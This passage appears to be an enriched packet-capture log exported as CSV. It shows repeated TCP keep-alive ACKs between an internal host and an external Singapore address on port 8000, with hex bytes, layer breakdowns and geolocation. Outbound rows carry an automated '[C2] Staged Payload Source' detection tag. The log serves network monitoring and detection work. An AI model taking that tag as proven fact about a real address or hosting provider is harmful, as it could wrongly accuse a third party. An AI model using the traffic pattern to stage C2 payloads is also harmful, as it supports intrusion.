{\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:06.888328,982,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b17f400080063e7f0a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45439, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15999, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:06.888358,983,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439ea40004006f609c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@..\t....\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14826, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62985, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:07.903961,984,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b180400080063e7e0a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45440, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15998, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:07.903982,985,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439eb40004006f608c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14827, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62984, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:08.903941,986,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b181400080063e7d0a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45441, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15997, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:08.903966,987,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439ec40004006f607c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14828, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62983, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:09.919613,988,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b182400080063e7c0a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45442, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15996, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:09.919625,989,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439ed40004006f606c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14829, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62982, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:10.935262,990,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b183400080063e7b0a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45443, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15995, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:10.935291,991,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439ee40004006f605c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14830, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62981, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:11.950933,992,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b184400080063e7a0a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45444, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15994, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:11.950965,993,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439ef40004006f604c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14831, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62980, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:12.966581,994,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b185400080063e790a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45445, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15993, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:12.966605,995,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439f040004006f603c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14832, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62979, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:13.982215,996,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b186400080063e780a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45446, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15992, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283637037, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25601, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:13:13.982247,997,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283637038,bc2411360d0cbc24112907bb08004500003439f140004006f602c0a3a7890a98980b1f40fa6a227ed9144c82bf2e8010003f0af700000101050a4c82bf2d4c82bf2e,\".$.6\n..$.)....E..49.@.@.......\n....@.j\"\"~..L......?\n......\nL..-L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14833, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62978, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283637038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283637037, 1283637038))]\"\"}}]\"\n2026-07-01 09:13:14.997879,998,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283637037 Ack=578738452,bc24112907bbbc2411360d0c080045000029b187400080063e770a98980bc0a3a789fa6a1f404c82bf2d227ed914501020146401000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45447, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15991, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": 